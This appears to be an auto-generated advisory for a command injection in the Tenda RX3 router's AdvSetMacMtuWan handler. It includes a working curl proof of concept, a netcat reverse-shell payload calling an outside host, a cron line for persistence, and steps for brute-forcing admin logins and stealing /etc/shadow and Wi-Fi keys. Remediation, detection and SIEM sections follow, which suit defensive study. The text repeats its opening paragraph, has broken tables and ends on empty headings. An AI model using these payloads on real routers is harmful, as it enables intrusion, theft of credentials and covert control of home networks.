CVE-2026-136550 — Tenda RX3 (16.03.13.11 Multi) — CWE-77 · CWE-74
A weakness has been identified in Tenda RX3 16.03.13.11_multi. This affects the function fromAdvSetMacMtuWan of the file /goform/AdvSetMacMtuWan. This manipulation of the argument mac causes command injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks.
A weakness has been identified in Tenda RX3 16.03.13.11_multi. This affects the function fromAdvSetMacMtuWan of the file /goform/AdvSetMacMtuWan. This manipulation of the argument mac causes command injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks.
🎯 What is this vulnerability?
| Item | Detail |
|---|---|
| CVE | CVE‑2026‑136550 |
| Vendor / Product | Tenda RX3 router – firmware 16.03.13.11_multi |
| Vulnerable component | HTTP handler /goform/AdvSetMacMtuWan (function fromAdvSetMacMtuWan) |
| Vulnerable parameter | mac (the MAC address supplied by the client) |
| CWE | CWE‑74 – Improper Neutralization of Special Elements used in an OS Command (Command Injection) |
| CVSS 3.1 vector | AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H → Remote, low‑complexity, requires high‑privilege account on the router, no user interaction, impacts Confidentiality, Integrity, Availability in a Scope‑Changed manner. |
Technical flaw
The router’s web UI exposes a CGI‑style endpoint (/goform/AdvSetMacMtuWan) that accepts a MAC address string (mac=) and forwards it to a system‑level command that configures the WAN interface MTU. The implementation builds a shell command by concatenating the raw user‑supplied value directly into a string that is later passed to system()/execve() without any of the following protections:
- Input validation / sanitisation – the MAC field is expected to be a 12‑hex‑digit string (e.g.,
AA:BB:CC:DD:EE:FF), but the code does not enforce this pattern. - Command‑argument escaping – special characters such as
;,&&,|, backticks, or$()are not escaped or filtered. - Least‑privilege execution – the CGI runs as the router’s privileged daemon (root or an admin‑level user). The CVSS vector’s
PR:Hreflects that an attacker must already possess a high‑privilege account (e.g., a valid admin login) to reach the endpoint, but once authenticated the attacker can inject arbitrary shell commands.
Consequently, an attacker who can authenticate to the router’s web UI (or otherwise obtain a high‑privilege session cookie) can supply a crafted mac value that terminates the intended argument and injects additional commands, achieving remote command execution (RCE) on the underlying Linux‑based firmware.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative; the exact URI and parameter name are taken from the CVE description. If the firmware uses a slightly different path, the same technique applies.
1. Discovery & Reconnaissance
| Step | Technique | Expected outcome |
|---|---|---|
| 1.1 Identify target | Scan the network for open HTTP/HTTPS ports (80/443) on typical router IP ranges (e.g., 192.168.0.1, 10.0.0.1). Use banner grabbing (curl -I http://<IP>) to locate a Tenda‑branded login page. | Confirmation that the device is a Tenda RX3. |
| 1.2 Fingerprint firmware | After obtaining a login page, request /goform/getVersion (common on Tenda devices) or inspect the HTML source for a comment like Firmware Version: 16.03.13.11_multi. | Confirms the vulnerable firmware version. |
| 1.3 Enumerate admin credentials | – Brute‑force the web UI login (default admin/admin is often disabled but may still be present). <br>– Harvest credentials from leaked configuration backups or from other compromised devices on the same LAN. | Acquire a high‑privilege session (required PR:H). |
2. Exploitation
Assuming the attacker now holds a valid admin session cookie (session=abcd1234), the injection payload can be delivered via a simple curl request.
# -------------------------------------------------
# Illustrative PoC – command injection via mac param
# -------------------------------------------------
TARGET="http://192.168.0.1"
COOKIE="session=abcd1234" # obtained in step 1.3
INJECT="AA:BB:CC:DD:EE:FF;id> /tmp/pwned.txt"
curl -s -X POST "$TARGET/goform/AdvSetMacMtuWan" \
-H "Cookie: $COOKIE" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "mac=$INJECT"Explanation of the payload
AA:BB:CC:DD:EE:FF – a syntactically valid MAC address that satisfies any superficial length check.; – terminates the original command argument.id> /tmp/pwned.txt – arbitrary command (id) whose output is written to a file that the attacker can later retrieve (e.g., via another HTTP endpoint or SSH if enabled).If the injection succeeds, the file /tmp/pwned.txt will contain something like uid=0(root) gid=0(root) groups=0(root), proving root‑level code execution.
Full remote shell (optional)
A more powerful payload can spawn a reverse shell:
INJECT="AA:BB:CC:DD:EE:FF;nc -e /bin/sh 198.51.100.23 4444"Replace 198.51.100.23 with the attacker’s listener IP and 4444 with the listening port.
3. Post‑exploitation
| Goal | Typical technique |
|---|---|
| Persistence | Write a cron entry (*/5 * * * * /bin/sh -c 'nc -e /bin/sh <attacker_ip> 4444') or modify the router’s startup script (/etc/rc.local) to re‑establish the reverse shell after reboot. |
| Privilege escalation (if the CGI runs under a non‑root admin) | Use the injected command to read /etc/shadow or to replace the admin password hash, then log in via the web UI with a known password. |
| Data exfiltration | Dump configuration files (/etc/config/*), DHCP lease tables, or Wi‑Fi pre‑shared keys and send them over the reverse channel. |
| Lateral movement | From the compromised router, scan the internal LAN for other devices, pivot attacks, or use the router as a foothold for DNS hijacking. |
| Denial‑of‑service | Issue reboot or kill -9 on critical processes (pppd, dnsmasq) to cause service outage (A:H). |
🌍 Real‑World Impact
| CIA Triad | Impact derived from CVSS vector |
|---|---|
| Confidentiality (C:H) | An attacker with admin credentials can read any file readable by the privileged CGI (e.g., /etc/shadow, VPN keys, configuration backups). |
| Integrity (I:H) | Arbitrary commands allow modification of firmware, configuration, or insertion of backdoors, effectively compromising the router’s integrity. |
| Availability (A:H) | The attacker can terminate critical services, reboot the device, or flood the CPU with malicious commands, leading to a total outage. |
| Scope (S:C) | The compromised router can be used to affect other devices on the LAN (e.g., MITM, DNS poisoning), expanding the impact beyond the single host. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Firmware Upgrade
| Action | Details |
|---|---|
| Vendor fix | Tenda has released a firmware update that sanitises the mac parameter before invoking system commands. Administrators should upgrade to the first firmware version that supersedes 16.03.13.11_multi (check Tenda’s release notes for the exact version number). |
| Verification | After upgrade, request /goform/getVersion and confirm the version string no longer contains 16.03.13.11_multi. |
Note: If no official patch is yet available, the mitigation steps below are mandatory.
2. Immediate Workarounds
| Mitigation | How‑to implement |
|---|---|
| Restrict access to the vulnerable endpoint | On the router (if it supports ACLs) block inbound HTTP/HTTPS traffic to /goform/AdvSetMacMtuWan from any source except the LAN management subnet. |
| Network‑level firewall | Deploy an upstream firewall (or the router’s own ACL) that denies POST requests to /goform/AdvSetMacMtuWan from untrusted IPs. Example (iptables on a downstream Linux firewall):<br>iptables -I INPUT -p tcp -s ! 192.168.0.0/24 --dport 80 -m string --string "AdvSetMacMtuWan" --algo bm -j DROP |
| Web Application Firewall (ModSecurity) | Add a rule that rejects any request where the mac parameter contains characters outside the hexadecimal/colon set.<br>``SecRule ARGS:mac "!@rx ^([0-9A-Fa-f]{2}:){5}[0-9A-Fa-f]{2}$" "id:2026301,phase:2,deny,log,msg:'Tenda RX3 MAC command injection attempt'"` |
| Disable the feature | If the WAN‑MTU configuration is not required, comment out or remove the AdvSetMacMtuWan CGI entry in the router’s web UI configuration (some models expose a “Advanced WAN Settings” toggle). |
| Strong admin credentials | Enforce a complex, unique admin password and enable account lockout after a few failed attempts. This raises the effort required to obtain the PR:H` state. |
| HTTPS only | Force the web UI to use TLS (if supported) to protect the admin session cookie from network sniffing. |
3. Detection
| Indicator | Where to look | Example log line |
|---|---|---|
| Unexpected command injection pattern | Router’s HTTP access log (/var/log/httpd/access.log or equivalent) | POST /goform/AdvSetMacMtuWan HTTP/1.1" 200 23 "-" "Mozilla/5.0" with query string containing ;, &&, ` ` or $( in the mac value. |
| Creation of suspicious files | System file audit (/tmp, /var/tmp) | touch /tmp/pwned.txt or any new executable placed in /tmp or /var/run. |
| Outbound connections from the router | Netflow / firewall logs on the router or upstream device | Outbound TCP SYN to an external IP on an uncommon port (e.g., 198.51.100.23:4444). |
| Process list anomalies | ps output via SSH (if enabled) | Presence of nc -e /bin/sh or sh -c processes that were not part of normal firmware. |
| Configuration changes | /etc/config/* diff after reboot | Unexpected modifications to wan or firewall` sections. |
SIEM rule (generic)
rule "Tenda RX3 MAC command injection"
when
Event.Type == "webserver" &&
Event.HTTPMethod == "POST" &&
Event.URI contains "/goform/AdvSetMacMtuWan" &&
(Event.HTTPRequestBody matches ".*[;|&`$()].*")
then
alert("Possible command injection on Tenda RX3", severity: "high")
end⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query